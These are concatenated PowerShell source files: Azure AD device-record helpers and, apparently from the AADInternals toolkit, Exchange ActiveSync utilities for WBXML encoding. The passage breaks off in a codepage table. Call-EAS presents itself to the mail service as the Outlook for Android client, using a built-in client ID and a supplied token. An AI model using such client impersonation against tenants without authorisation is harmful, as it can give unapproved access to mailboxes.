function Get-AzureADDeviceAlternativeSecurityIds { <# .SYNOPSIS Decodes Key property of an Azure AD device record into prefix, thumbprint and publickeyhash values. .DESCRIPTION Decodes Key property of an Azure AD device record into prefix, thumbprint and publickeyhash values. .PARAMETER Key Specify the 'key' property of the alternativeSecurityIds property retrieved from the Get-AzureADDeviceRecord function. .NOTES Author: Nickolaj Andersen Contact: @NickolajA Created: 2021-06-07 Updated: 2021-06-07 Version history: 1.0.0 - (2021-06-07) Function created #> param( [parameter(Mandatory = $true, HelpMessage = "Specify the 'key' property of the alternativeSecurityIds property retrieved from the Get-AzureADDeviceRecord function.")] [ValidateNotNullOrEmpty()] [string]$Key ) Process { $DecodedKey = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($Key)) $PSObject = [PSCustomObject]@{ "Prefix" = $DecodedKey.SubString(0,21) "Thumbprint" = $DecodedKey.Split(">")[1].SubString(0,40) "PublicKeyHash" = $DecodedKey.Split(">")[1].SubString(40) } # Handle return response return $PSObject } }
Get-AzureADDeviceRecord.ps1
AADDeviceTrust.FunctionApp-1.0.0
function Get-AzureADDeviceRecord { <# .SYNOPSIS Retrieve an Azure AD device record. .DESCRIPTION Retrieve an Azure AD device record. .PARAMETER DeviceID Specify the Device ID of an Azure AD device record. .PARAMETER AuthToken Specify a hash table consisting of the authentication headers. .NOTES Author: Nickolaj Andersen Contact: @NickolajA Created: 2021-06-07 Updated: 2022-01-01 Version history: 1.0.0 - (2021-06-07) Function created 1.0.1 - (2022-01-01) Added support for passing in the authentication header table to the function #> param( [parameter(Mandatory = $true, HelpMessage = "Specify the Device ID of an Azure AD device record.")] [ValidateNotNullOrEmpty()] [string]$DeviceID, [parameter(Mandatory = $true, HelpMessage = "Specify a hash table consisting of the authentication headers.")] [ValidateNotNullOrEmpty()] [System.Collections.Hashtable]$AuthToken ) Process { $GraphURI = "https://graph.microsoft.com/v1.0/devices?`$filter=deviceId eq '$($DeviceID)'" $GraphResponse = (Invoke-RestMethod -Method "Get" -Uri $GraphURI -ContentType "application/json" -Headers $AuthToken -ErrorAction Stop).value # Handle return response return $GraphResponse } }
New-HashString.ps1
AADDeviceTrust.FunctionApp-1.0.0
function New-HashString { <# .SYNOPSIS Compute has from input value and return encoded Base64 string. .DESCRIPTION Compute has from input value and return encoded Base64 string. .PARAMETER Value Specify a Base64 encoded value for which a hash will be computed. .NOTES Author: Nickolaj Andersen Contact: @NickolajA Created: 2021-08-23 Updated: 2021-08-23 Version history: 1.0.0 - (2021-08-23) Function created #> param( [parameter(Mandatory = $true, HelpMessage = "Specify a Base64 encoded value for which a hash will be computed.")] [ValidateNotNullOrEmpty()] [string]$Value ) Process { # Convert from Base64 string to byte array $DecodedBytes = [System.Convert]::FromBase64String($Value) # Construct a new SHA256Managed object to be used when computing the hash $SHA256Managed = New-Object -TypeName "System.Security.Cryptography.SHA256Managed" # Compute the hash [byte[]]$ComputedHash = $SHA256Managed.ComputeHash($DecodedBytes) # Convert computed hash to Base64 string $ComputedHashString = [System.Convert]::ToBase64String($ComputedHash) # Handle return value return $ComputedHashString } }
ActiveSync_utils.ps1
AADInternals-0.9.4
# Utilities for ActiveSync # Checks whether the mail is Base64 encoded function Get-MessageAsBase64 { Param( [Parameter(Mandatory=$True)] [String]$Message ) Process { # Let's assume message is Base64 encoded $retVal = $Message try { [System.Convert]::FromBase64String($Message) } catch { # Was not, so let's convert Write-Warning "Message was not Base64 encoded, converting.." $retVal = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($Message)) } return $retVal } } # Function to create token objects function Token { Param( [Parameter(Mandatory=$True)] [Int]$Code, [Parameter(Mandatory=$True)] [String]$Name ) Process { $Token=[PSCustomObject]@{ PSTypeName = "Token" Code = $Code Name = $Name } return $Token } } # Function to create CodePage objects function CodePage { Param( [Parameter(Mandatory=$True)] [Int]$Code, [Parameter(Mandatory=$True)] [String]$Namespace, [Parameter(Mandatory=$True)] [Array][PSTypeName("Token")]$Tokens ) Process { $Token=[PSCustomObject]@{ PSTypeName = "CodePage" Code = $Code NameSpace = $Namespace Tokens = $Tokens } return $Token } } # Returns codepage for the given name or number function Get-CodePage { Param( [Parameter(ParameterSetName='Name',Mandatory=$True)] [String]$Name, [Parameter(ParameterSetName='Code',Mandatory=$True)] [Int]$Code, [Parameter(Mandatory=$True)] [boolean]$O365, [Parameter(Mandatory=$True)] [boolean]$SyncML ) Process { if($O365) { $cps=$O365CodePages } elseif($SyncML) { $cps=$SyncMLCodePage } else { $cps=$CodePages } if([String]::IsNullOrEmpty($Name)) { $cps| Where Code -EQ $Code } else { $cps | Where NameSpace -EQ $Name } } } # Returns token for the given namespace or codepage function Get-Token { Param( [Parameter(ParameterSetName='NameSpace',Mandatory=$True)] [String]$NameSpace, [Parameter(ParameterSetName='CodePage',Mandatory=$True)] [Int]$CodePage, [Parameter(Mandatory=$False)] [String]$Tag, [Parameter(Mandatory=$False)] [Int]$Code, [Parameter(Mandatory=$True)] [boolean]$O365, [Parameter(Mandatory=$True)] [boolean]$SyncML ) Process { $CP=$null if([String]::IsNullOrEmpty($NameSpace)) { $CP = Get-CodePage -Code $CodePage -O365 $O365 -SyncML $SyncML } else { $CP = Get-CodePage -Name $NameSpace -O365 $O365 -SyncML $SyncML } if([String]::IsNullOrEmpty($Tag)) { $retVal=$CP.Tokens | Where Code -EQ $Code | Select -ExpandProperty Name if([String]::IsNullOrEmpty($retVal)) { $hexCode = "0x{0:X}" -f $Code Write-Host "(Token $hexCode `"$($Code)_$($hexCode.Substring(2))`")" Throw "XML2WBXML: Tag with code $Code ($hexCode) was not found from namespace $($CodePage):$($cp.NameSpace)" } # Some tags share the same code # e.g. DeviceEncryptionEnabled and RequireStorageCardEncryption if($retVal.Count -gt 1) { $retVal=$retVal[0] } } else { $retVal=$CP.Tokens | Where Name -EQ $Tag | Select -ExpandProperty Code if([String]::IsNullOrEmpty($retVal)) { Throw "XML2WBXML: Tag with code $Tag was not found from namespace $($cp.Code):$($cp.NameSpace)" } } $retVal } } # Converts XML to WBXML # The current codepage $CurrentCodePage = 0 function XML2WBXML { Param( [Parameter(Mandatory=$True)] [xml]$Xml, [switch]$O365, [switch]$SyncML ) Begin { # Some fixed variables $Header = @( 0x03, # WBXML version 1.3 0x01, # Unknown public identifier 0x6A, # Charset = UTF8 0x00 # String table length ) $SyncMlHeader = @( 0x02, # ?? 0xA4, # ?? 0x01, # Unknown public identifier 0x6A, # Charset = UTF8 0x00 # String table length ) $StringTable = 0x04 $StringStart = 0x03 $StringEnd = 0x00 $TagClose = 0x01 $TokenWithContent = 0x40 $CodePageChange = 0x00 $EXT_1 = 0xC1 $EXT_2 = 0xC2 } Process { $Script:CurrentCodePage = 0 # Parses the given XMLElement function Parse{ Param( [Parameter(Mandatory=$True)] [System.Xml.XmlElement]$Element ) $retVal = @() if($SyncML) { $retVal += $SyncMlHeader } else { $retVal += $Header } $retVal += Get-Element $Element -O365 $O365 -SyncML $SyncML return $retVal } # Parses the given XMLElement function Get-Element{ Param( [Parameter(Mandatory=$True)] [System.Xml.XmlElement]$Element, [Parameter(Mandatory=$True)] [boolean]$O365, [Parameter(Mandatory=$True)] [boolean]$SyncML ) $retVal = @() if($O365) { $retVal += Get-CodePageBytes ([int]"0x$($Element.NamespaceURI.Substring(1))") } else { $retVal += Get-CodePageBytes (Get-CodePage -Name $Element.NamespaceURI -O365 $O365 -SyncML $SyncML).Code } $retVal += Get-Content $Element -O365 $O365 -SyncML $SyncML #$retVal += $TagClose return $retVal } function Get-Content{ Param( [Parameter(Mandatory=$True)] [System.Xml.XmlElement]$Element, [Parameter(Mandatory=$True)] [boolean]$O365, [Parameter(Mandatory=$True)] [boolean]$SyncML ) $retVal = @() if($Element.LocalName -eq "EXT_1") { # EXT_1 is used as a string $retVal += 0xC1 # EXT_1 # After token, add the length of the string $stringBytes = [system.Text.Encoding]::UTF8.GetBytes($Element.InnerText) # 0D 0A -> 0D $stringBytes = LF2CRLF -bytes $stringBytes $retVal += Encode-MultiByteInteger -value $stringBytes.Length $retVal += $stringBytes $retVal += 0x00 # End of the string } elseif($Element.LocalName -eq "EXT_2") { # EXT_2 is used as an integer (normally). But here the integers can be veeeery long (more than 64bits), so this is not working properly. $retVal += 0xC2 # EXT_2 $retVal += Encode-EXT2 -Bytes (Convert-HexToByteArray -HexString $Element.InnerText) #$retVal += Encode-MultiByteInteger -value $Element.InnerText } elseif($Element.HasChildNodes) { if($O365) { $byte = [byte]"0x$($Element.LocalName.Substring(4))" + $TokenWithContent } else { $byte=((Get-Token -CodePage $CurrentCodePage -Tag $Element.LocalName -O365 $O365 -SyncML $SyncML) + $TokenWithContent) } $retVal += $byte foreach($child in $Element.ChildNodes) { if(($child.GetType()).Name -eq "XmlText") { $retVal += Get-String $child.Value } elseif(($child.GetType()).Name -eq "XmlCDataSection") { $retVal += Get-CData $child } else { $retVal += Get-Element $child -O365 $O365 -SyncML $SyncML } } $retVal += $TagClose } else { if($O365) { $retVal += [byte]"0x$($Element.LocalName.Substring(4))" } else { $retVal += Get-Token -CodePage $CurrentCodePage -Tag $Element.LocalName -O365 $O365 -SyncML $SyncML } } return $retVal } function Get-String{ Param( [Parameter(Mandatory=$True)] [String]$Text ) $retVal = @() $retVal += 0x03 $retVal += [system.Text.Encoding]::UTF8.GetBytes($Text) $retVal += 0x00 return $retVal } # Returns CData function Get-CData{ Param( [Parameter(Mandatory=$True)] [System.Xml.XmlCDataSection]$CData ) $retVal = @() $retVal += 0xC3 $UTFBytes = [text.encoding]::UTF8.GetBytes($CData.Data) #$UTFBytes = [convert]::FromBase64String($CData.Data) #$UTFBytes = LF2CRLF -bytes $UTFBytes $retVal += Encode-MultiByteInteger -Value $UTFBytes.Count $retVal += $UTFBytes return $retVal } # Converts 0x0A to 0x0D 0x0A function LF2CRLF { Param( [Parameter(Mandatory=$True)] [byte[]]$bytes ) $retVal = @() foreach($byte in $bytes) { if($byte -eq 0x0A) { $retVal += [byte]0x0D $retVal += [byte]0x0A } else { $retVal += [byte]$byte } } return $retVal } # Returns code page bytes function Get-CodePageBytes{ Param( [Parameter(Mandatory=$True)] [Int]$CodePage ) $retVal = @() if($Script:CurrentCodePage -ne $CodePage) { $Script:CurrentCodePage = $CodePage $retVal += $CodePageChange $retVal += $CodePage } return $retVal } Parse $Xml.DocumentElement } } # Converts WBXML to XML $WBXML_currentPage = 0 $WBXML_position = 0 function WBXML2XML { Param( [Parameter(Mandatory=$True)] [byte[]]$wbxml, [Parameter(Mandatory=$False)] [int]$Skip=4, # Skip the header by default [switch]$O365, [switch]$SyncML ) Process { # Some variables $EXT_1 = 0xC1 $EXT_2 = 0xC2 $Script:WBXML_currentPage = 0 $Script:WBXML_position = $Skip function Get-CurrentToken{ Param( [Parameter(Mandatory=$True)] [byte[]]$wbxml ) return $wbxml[$Script:WBXML_position++] } # Parses the XML element function Parse-Element{ Param( [Parameter(Mandatory=$True)] [byte[]]$wbxml, [Parameter(Mandatory=$True)] [byte]$next, [Parameter(Mandatory=$True)] [boolean]$O365, [Parameter(Mandatory=$True)] [boolean]$SyncML ) $codePageChanged=$false if($next -eq 0) # The first token, 0 = change the codepage { $Script:WBXML_currentPage = Get-CurrentToken $wbxml $codePageChanged=$true $next = Get-CurrentToken $wbxml } if($next -eq $EXT_1) # Special handling for EXT_1 { # After the token, the length of the string as multi-byte value $byteValue = $wbxml[$Script:WBXML_position] if(Check-ContinuationBit -byteVal $byteValue) { $intValue = Get-CDATALength -wbxml $wbxml } else { $intValue = $byteValue $Script:WBXML_position+=1 } # Get the string $stringBytes = $wbxml[$Script:WBXML_position..$($Script:WBXML_position + $intValue -1)] $stringValue = [system.text.encoding]::UTF8.GetString($stringBytes) #$stringValue = Get-String -wbxml $wbxml $Script:WBXML_position+=$intValue+1 $retval = "<EXT_1>$([System.Net.WebUtility]::HtmlEncode($stringValue))</EXT_1>" } elseif($next -eq $EXT_2) # Special handling for EXT_2 { #$byteValue = $wbxml[$Script:WBXML_position] # EXT_2 is used as an integer (normally). But here the integers can be veeeery long (more than 64bits), so we only support hex values. $hexString = Convert-ByteArrayToHex -Bytes (Decode-EXT2 -wbxml $wbxml) <# if(Check-ContinuationBit -byteVal $byteValue) { # EXT_2 is used as an integer (normally). But here the integers can be veeeery long (more than 64bits), so this is not working properly. $intValue = Get-CDATALength -wbxml $wbxml } else { $intValue = $byteValue $Script:WBXML_position+=1 }#> $retval = "<EXT_2>$hexString</EXT_2>" } else { $hasContent = ($next -band 0x40) -eq 0x40 $currentToken = $next -band 0x3f if($O365) { $codePage = "_$([System.BitConverter]::ToString($Script:WBXML_currentPage))" $tag = $codePage $tag += "_" $tag += [System.BitConverter]::ToString($currentToken) } else { $codePage = Get-CodePage -Code $Script:WBXML_currentPage -O365 $O365 -SyncML $SyncML | Select -ExpandProperty NameSpace $tag = Get-Token -CodePage $Script:WBXML_currentPage -Code $currentToken -O365 $O365 -SyncML $SyncML } if($codePageChanged) { $retval = "<$tag xmlns=`"$codePage`">" } else { $retval = "<$tag>" #$retval = "<$tag xmlns=`"$codePage`">" } if($hasContent) { while($Script:WBXML_position -le $wbxml.Length -and (($next = Get-CurrentToken -wbxml $wbxml) -ne 0x01) ) { if($next -eq 0x03) # Start of string { $retVal += Get-String -wbxml $wbxml } elseif($next -eq 0x04) # Start of string table string { # The next byte is the index number of the text from string table $index = Get-CurrentToken -wbxml $wbxml # TODO: Implement string table handling } elseif($next -eq 0xC3) # Start of blob { $retVal += Get-CData -wbxml $wbxml } else { $retVal += Parse-Element -wbxml $wbxml -next $next -O365 $O365 -SyncML $SyncML } } } $retval += "</$tag>" } # Verbose Write-Verbose $retval return $retVal } function Get-String{ Param( [Parameter(Mandatory=$True)] [byte[]]$wbxml ) $next = 0 $bytes = @() while(($next = Get-CurrentToken -wbxml $wbxml) -ne 0x00 -and $next -ne 0x01) { $bytes+=[byte]$next } return [System.Text.Encoding]::UTF8.GetString($bytes) } function Get-CData{ Param( [Parameter(Mandatory=$True)] [byte[]]$wbxml ) $next = 0 $bytes = @() #$next=Get-CurrentToken -wbxml $wbxml $length = Get-CDATALength -wbxml $wbxml for($i=0; $i -lt $length ; $i++) { $next = Get-CurrentToken -wbxml $wbxml $bytes += [byte]$next } $retVal = "<![CDATA[" $retVal += [convert]::ToBase64String($bytes)#[System.Text.Encoding]::UTF8.GetString($bytes) $retVal += "]]>" return $retVal } function Get-CDATALength() { Param( [Parameter(Mandatory=$True)] [byte[]]$wbxml ) [int] $length = 0; [byte] $singleByte = 0xFF; do { $length = $length -shl 7 $singleByte = Get-CurrentToken -wbxml $wbxml $length += [int]($singleByte -band 0x7f) } while (Check-ContinuationBit($singleByte)) return $length } $retVal = Parse-Element -wbxml $wbxml -next (Get-CurrentToken -wbxml $wbxml) -O365 $O365 -SyncML $SyncML #return ([xml]$retVal).InnerXml return $retVal } } # Calls Exchange ActiveSync API function Call-EAS { Param( [Parameter(Mandatory=$True)] [String]$Authorization, [Parameter(Mandatory=$True)] [xml]$Request, [Parameter(Mandatory=$True)] [String]$DeviceId, [Parameter(Mandatory=$False)] [String]$DeviceType="Android", [Parameter(Mandatory=$False)] [String]$DeviceOS, [Parameter(Mandatory=$True)] [ValidateSet('Sync','SendMail','SmartForward','SmartReply','GetAttachment','GetHierarchy','CreateCollection','DeleteCollection','MoveCollection','FolderSync','FolderCreate','FolderDelete','FolderUpdate','MoveItems','GetItemEstimate','MeetingResponse','Search','Settings','Ping','ItemOperations','Provision','ResolveRecipients','ValidateCert','Find')] [String]$Command, [Parameter(Mandatory=$False)] [ValidateSet("2.0","2.1","2.5","12.0","12.1","14.0","14.1","16.0","16.1")] [String]$Version="16.1", [Parameter(Mandatory=$False)] [String]$UserAgent="Outlook-Android/2.0", [Parameter(Mandatory=$False)] [String]$PolicyKey, [Parameter(Mandatory=$False)] [Switch]$ReturnHeaders ) Process { $url="https://outlook.office365.com/Microsoft-Server-ActiveSync?Cmd=$Command&User=$(Get-UserNameFromAuthHeader($Authorization))&DeviceId=$DeviceId&DeviceType=$DeviceType&DeviceOS=$DeviceOS" $headers = @{ "Authorization" = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" "User-Agent" = $UserAgent "Content-Type" = "application/vnd.ms-sync.WBXML" "MS-ASProtocolVersion" = $Version } if(![String]::IsNullOrEmpty($PolicyKey)) { $headers["X-MS-Policykey"]=$PolicyKey } # MUST be convert to bytes [byte[]]$body=XML2WBXML $Request $response=Invoke-WebRequest -UseBasicParsing -Uri $Url -Method Post -Headers $headers -Body $body -TimeoutSec 30 $wbxml = $response.Content if(![String]::IsNullOrEmpty($wbxml)) { # Got response $xmlVal = [xml](WBXML2XML -wbxml $wbxml) $status = Select-Xml -Xml $xmlVal -XPath "//*[local-name()='Status']" if([string]::IsNullOrEmpty($status)) { # All good return $xmlVal } else { if($status.Count -ge 1) { $code = $status[0].Node.'#text' } else { $code = $status.Node.'#text' } if([int]($code) -lt 2) # codes below 2 are not errors { # All good if($ReturnHeaders) { return $response.Headers } else { return $xmlVal } } else { # Got error, so throw an exception throw "Error: $code $($EASErrors[$code])" } } } else { # All good - nothing to return } } } # Adds tag if value is not null function InsertTag { Param( [Parameter(Mandatory=$True)] [String]$Key, [Parameter()] [String]$Value ) Process { if(![String]::IsNullOrEmpty($key) -or [String]::IsNullOrEmpty($value)) { return "<$key>$value</$key>" } return "" } } # Jan 2nd 2020 # Converts Office 365 WBXML (Outlook for Android) to XML function O365WBXML2XML { Param( [Parameter(Mandatory=$True)] [byte[]]$wbxml ) Process { # First, strip the ~StartOutlookFrame~ and ~EndOutlookFrame~ # 13 7E 53 74 61 72 74 4F 75 74 6C 6F 6F 6B 46 72 61 6D 65 7E # ~ S t a r t O u t l o o k F r a m e ~ # 11 7E 45 6E 64 4F 75 74 6C 6F 6F 6B 46 72 61 6D 65 7E # ~ E n d O u t l o o k F r a m e ~ # # Set the position to 0 and initialize the return variable $pos=0 $retVal="<frames>" # Loop through all the frames while($pos -lt $wbxml.Length) { $retVal+="<frame>" # First, get the length bytes $int_1 = [bitconverter]::toint32($wbxml[$($pos+20)..$($pos+23)],0) # The length of the first wbxml block $int_2 = [bitconverter]::toint32($wbxml[$($pos+24)..$($pos+27)],0) # The length of the second wbxml block $int_3 = [bitconverter]::toint32($wbxml[$($pos+28)..$($pos+31)],0) # The total length of the data Write-Verbose "First wbxml block $int_1 bytes" Write-Verbose "Second wbxml block $int_2 bytes" Write-Verbose "Total wbxml block $int_3 bytes" Write-Verbose "True wbxml block $($wbxml.length) bytes" # Extract the frame and strip ~StartOutlookFrame~ and ~EndOutlookFrame~ $frame = $wbxml[$($pos+20+12)..$($pos+20+12+$int_3-1)] # Set the position to the next frame position + ~StartOutlookFrame~ + length bytes + current frame size + ~EndlOutlookFrame~ $pos=$pos+20+12+$int_3+18 # Get the two wbxml blocks $wbxml1 = $frame[0..$($int_1-1)] $wbxml2 = $frame[$int_1..$($frame.Length)] $retVal +="<block>" $retVal += WBXML2XML -wbxml $wbxml1 -O365 $retVal +="</block>" # The second block might not be available if($int_2 -gt 0) { $retVal +="<block>" $retVal += WBXML2XML -wbxml $wbxml2 -O365 $retVal +="</block>" } $retVal+="</frame>" } $retVal+="</frames>" # Return $retVal } } # Jan 2nd 2020 # Converts XML to Office 365 WBXML (Outlook for Android) function XML2O365WBXML { Param( [Parameter(Mandatory=$True)] [xml]$xml ) Process { # ~StartOutlookFrame~ and ~EndOutlookFrame~ $startFrame = @(0x13, 0x7E, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4F, 0x75, 0x74, 0x6C, 0x6F, 0x6F, 0x6B, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x7E) $endFrame = @(0x11, 0x7E, 0x45, 0x6E, 0x64, 0x4F, 0x75, 0x74, 0x6C, 0x6F, 0x6F, 0x6B, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x7E) $wbxml=@() # Loop through the frames foreach($frame in $xml.DocumentElement.frame) { # The second xml block is empty on response messages $int_2=0 # Convert xml to wbxml if($frame.block[0] -eq $null) { $wbxml1 = XML2WBXML -Xml $frame.block.innerXml -O365 } else { $wbxml1 = XML2WBXML -Xml $frame.block[0].innerXml -O365 } if($frame.block[1] -ne $null) { $wbxml2 = XML2WBXML -Xml $frame.block[1].innerXml -O365 $int_2 = $wbxml2.length # The length of the second wbxml block } # Get the lengths $int_1 = $wbxml1.length # The length of the first wbxml block $int_3 = $int_1+$int_2 # The total length of the data # Construct the frame $wbxml += $startFrame $wbxml += [bitconverter]::GetBytes([int32]$int_1) $wbxml += [bitconverter]::GetBytes([int32]$int_2) $wbxml += [bitconverter]::GetBytes([int32]$int_3) $wbxml += $wbxml1 Write-Verbose "First wbxml block $int_1 bytes" Write-Verbose "Second wbxml block $int_2 bytes" Write-Verbose "Total wbxml block $int_3 bytes" Write-Verbose "True wbxml block $($wbxml.length) bytes" if($wbxml2 -ne $null) { $wbxml += $wbxml2 } $wbxml += $endFrame } # Return return $wbxml } } function ByteArrayToBinary { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Bytes ) Process { $retVal = "" for($i = 0; $i -lt $Bytes.Length ; $i++) { $binTxt = [convert]::ToString($Bytes[$i],2) while($binTxt.length -lt 8) { $binTxt = "0$binTxt" } $retVal += $binTxt #$retVal += " " } return $retVal } } # Decodes EXT_2 from O365WBXML function Decode-EXT2 { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$wbxml ) Process { [byte[]]$retVal = @(0,0,0,0,0,0,0,0,0) $pos = 0 [byte] $singleByte = 0xFF do { # Save the last bit to be added to the value later $firstBit = $retVal[8] -shl 7 # Shift the bits to the left (at the beginning it's empty anyway) Shift-ByteArrayLeft $retVal # Get the byte $singleByte = $wbxml[$Script:WBXML_position++] # Add it to the last byte of the array saving the first bit $retVal[8] = ($singleByte -band 0x7f) -bor $firstBit $pos++ Write-Verbose (ByteArrayToBinary -Bytes $retVal) } while (Check-ContinuationBit($singleByte)) if($pos -gt 8) { $pos-- } $retVal = $retVal[(9-$pos)..9] return $retVal } } function Encode-EXT2 { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Bytes ) Process { $retVal = @() [byte] $singleByte = 0xFF # Needed in a halfway $byteShift=0 # Set the length $length = $Bytes.Length if($length -gt 7) { $length++ } for($i=0; $i -lt $length ; $i++) { # Get the last byte $singleByte = $Bytes[$Bytes.Length-1] # Add to the retval $retVal += $singleByte Write-Verbose (ByteArrayToBinary -Bytes $Bytes) # Shift to right Shift-ByteArrayRight $Bytes if($i -gt 0) { $byteShift = 1 } elseif($i -gt 7) { $byteShift = 2 } $Bytes[$i-$byteShift] = 0x00 } [array]::Reverse($retVal) # Set or remove the continuation bits for($i=0; $i -lt $retVal.Length-1 ; $i++) { $retVal[$i] = $retVal[$i] -bor 0x80 } $retVal[$retVal.Length-1] = $retVal[$retVal.Length-1] -band 0x7F $retVal } } # Shifts bits in the given byte array to left by seven bits function Shift-ByteArrayLeft { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Bytes ) Process { for($i = 0 ; $i -lt $Bytes.length-1 ; $i++) { # Get the current byte $this = $Bytes[$i] # Save the last bit and shift it to left $lastBit = $this -shl 7 # Get the next byte $next = $Bytes[$i+1] # Set the seven first bits to current byte with the saved bit $Bytes[$i] = ($next -shr 1) -bor $lastBit } } } function Shift-ByteArrayRight { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Bytes ) Process { for($i = $Bytes.length-1 ; $i -gt 0 ; $i--) { # Get the current byte $this = $Bytes[$i] # Save the first bit and shift it to right $firstBit = $this -shr 7 # Get the previous byte $previous = $Bytes[$i-1] # Set the seven first bits to current byte with the saved bit $Bytes[$i] = ($previous -shl 1) + $firstBit } } } # ActiveSync error codes # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-ascmd/95cb9d7c-d33d-4b94-9366-d59911c7a060 $EASErrors=@{ "2" = "ActiveSync Error" "3" = "ActiveSync Error" "4" = "ActiveSync Error" "5" = "ActiveSync Error" "6" = "ActiveSync Error" "7" = "ActiveSync Error" "8" = "ActiveSync Error" "9" = "ActiveSync Error" "101" = "InvalidContent" "102" = "InvalidWBXML" "103" = "InvalidXML" "104" = "InvalidDateTime" "105" = "InvalidCombinationOfIDs" "106" = "InvalidIDs" "107" = "InvalidMIME" "108" = "DeviceIdMissingOrInvalid" "109" = "DeviceTypeMissingOrInvalid" "110" = "ServerError" "111" = "ServerErrorRetryLater" "112" = "ActiveDirectoryAccessDenied" "113" = "MailboxQuotaExceeded" "114" = "MailboxServerOffline" "115" = "SendQuotaExceeded" "116" = "MessageRecipientUnresolved" "117" = "MessageReplyNotAllowed" "118" = "Message PreviouslySent" "119" = "MessageHasNoRecipient" "120" = "MailSubmissionFailed" "121" = "MessageReplyFailed" "122" = "AttachmentIsTooLarge" "123" = "UserHasNoMailbox" "124" = "UserCannotBeAnonymous" "125" = "UserPrincipalCouldNotBeFound" "126" = "UserDisabledForSync" "127" = "UserOnNewMailboxCannotSync" "128" = "UserOnLegacyMailboxCannotSync" "129" = "DeviceIsBlockedForThisUser" "130" = "AccessDenied" "131" = "AccountDisabled" "132" = "SyncStateNotFound" "133" = "SyncStateLocked" "134" = "SyncStateCorrupt" "135" = "SyncStateAlreadyExists" "136" = "SyncStateVersionInvalid" "137" = "CommandNotSupported" "138" = "VersionNotSupported" "139" = "DeviceNotFullyProvisionable" "140" = "RemoteWipeRequested" "141" = "LegacyDeviceOnStrictPolicy" "142" = "DeviceNotProvisioned" "143" = "PolicyRefresh" "144" = "InvalidPolicyKey" "145" = "ExternallyManagedDevicesNotAllowed" "146" = "NoRecurrenceInCalendar" "147" = "UnexpectedItemClass" "148" = "RemoteServerHasNoSSL" "149" = "InvalidStoredRequest" "150" = "ItemNotFound" "151" = "TooManyFolders" "152" = "NoFoldersFound" "153" = "ItemsLostAfterMove" "154" = "FailureInMoveOperation" "155" = "MoveCommandDisallowedForNonPersistentMoveAction" "156" = "MoveCommandInvalidDestinationFolder" "160" = "AvailabilityTooManyRecipients" "161" = "AvailabilityDLLimitReached" "162" = "AvailabilityTransientFailure" "163" = "AvailabilityFailure" "164" = "BodyPartPreferenceTypeNotSupported" "165" = "DeviceInformationRequired" "166" = "InvalidAccountId" "167" = "AccountSendDisabled" "168" = "IRM_FeatureDisabled" "169" = "IRM_TransientError" "170" = "IRM_PermanentError" "171" = "IRM_InvalidTemplateID" "172" = "IRM_OperationNotPermitted" "173" = "NoPicture" "174" = "PictureTooLarge" "175" = "PictureLimitReached" "176" = "BodyPart_ConversationTooLarge" "177" = "MaximumDevicesReached" "178" = "InvalidMimeBodyCombination" "179" = "InvalidSmartForwardParameters" "183" = "InvalidRecipients" "184" = "OneOrMoreExceptionsFailed" } # ActiveSync WBXML CodePages and tokens $CodePages = @( (CodePage 0 "AirSync" @( (Token 0x05 "Sync"), (Token 0x06 "Responses"), (Token 0x07 "Add"), (Token 0x08 "Change"), (Token 0x09 "Delete"), (Token 0x0A "Fetch"), (Token 0x0B "SyncKey"), (Token 0x0C "ClientId"), (Token 0x0D "ServerId"), (Token 0x0E "Status"), (Token 0x0F "Collection"), (Token 0x10 "Class"), (Token 0x12 "CollectionId"), (Token 0x13 "GetChanges"), (Token 0x14 "MoreAvailable"), (Token 0x15 "WindowSize"), (Token 0x16 "Commands"), (Token 0x17 "Options"), (Token 0x18 "FilterType"), (Token 0x1B "Conflict"), (Token 0x1C "Collections"), (Token 0x1D "ApplicationData"), (Token 0x1E "DeletesAsMoves"), (Token 0x20 "Supported"), (Token 0x21 "SoftDelete"), (Token 0x22 "MIMESupport"), (Token 0x23 "MIMETruncation"), (Token 0x24 "Wait"), (Token 0x25 "Limit"), (Token 0x26 "Partial"), (Token 0x27 "ConversationMode"), (Token 0x28 "MaxItems"), (Token 0x29 "HeartbeatInterval")) ), (CodePage 1 "Contacts" @( (Token 0x05 "Anniversary"), (Token 0x06 "AssistantName"), (Token 0x07 "AssistantTelephoneNumber"), (Token 0x08 "Birthday"), (Token 0x0C "Business2PhoneNumber"), (Token 0x0D "BusinessCity"), (Token 0x0E "BusinessCountry"), (Token 0x0F "BusinessPostalCode"), (Token 0x10 "BusinessState"), (Token 0x11 "BusinessStreet"), (Token 0x12 "BusinessFaxNumber"), (Token 0x13 "BusinessPhoneNumber"), (Token 0x14 "CarPhoneNumber"), (Token 0x15 "Categories"), (Token 0x16 "Category"), (Token 0x17 "Children"), (Token 0x18 "Child"), (Token 0x19 "CompanyName"), (Token 0x1A "Department"), (Token 0x1B "Email1Address"), (Token 0x1C "Email2Address"), (Token 0x1D "Email3Address"), (Token 0x1E "FileAs"), (Token 0x1F "FirstName"), (Token 0x20 "Home2PhoneNumber"), (Token 0x21 "HomeCity"), (Token 0x22 "HomeCountry"), (Token 0x23 "HomePostalCode"), (Token 0x24 "HomeState"), (Token 0x25 "HomeStreet"), (Token 0x26 "HomeFaxNumber"), (Token 0x27 "HomePhoneNumber"), (Token 0x28 "JobTitle"), (Token 0x29 "LastName"), (Token 0x2A "MiddleName"), (Token 0x2B "MobilePhoneNumber"), (Token 0x2C "OfficeLocation"), (Token 0x2D "OtherCity"), (Token 0x2E "OtherCountry"), (Token 0x2F "OtherPostalCode"), (Token 0x30 "OtherState"), (Token 0x31 "OtherStreet"), (Token 0x32 "PagerNumber"), (Token 0x33 "RadioPhoneNumber"), (Token 0x34 "Spouse"), (Token 0x35 "Suffix"), (Token 0x36 "Title"), (Token 0x37 "Webpage"), (Token 0x38 "YomiCompanyName"), (Token 0x39 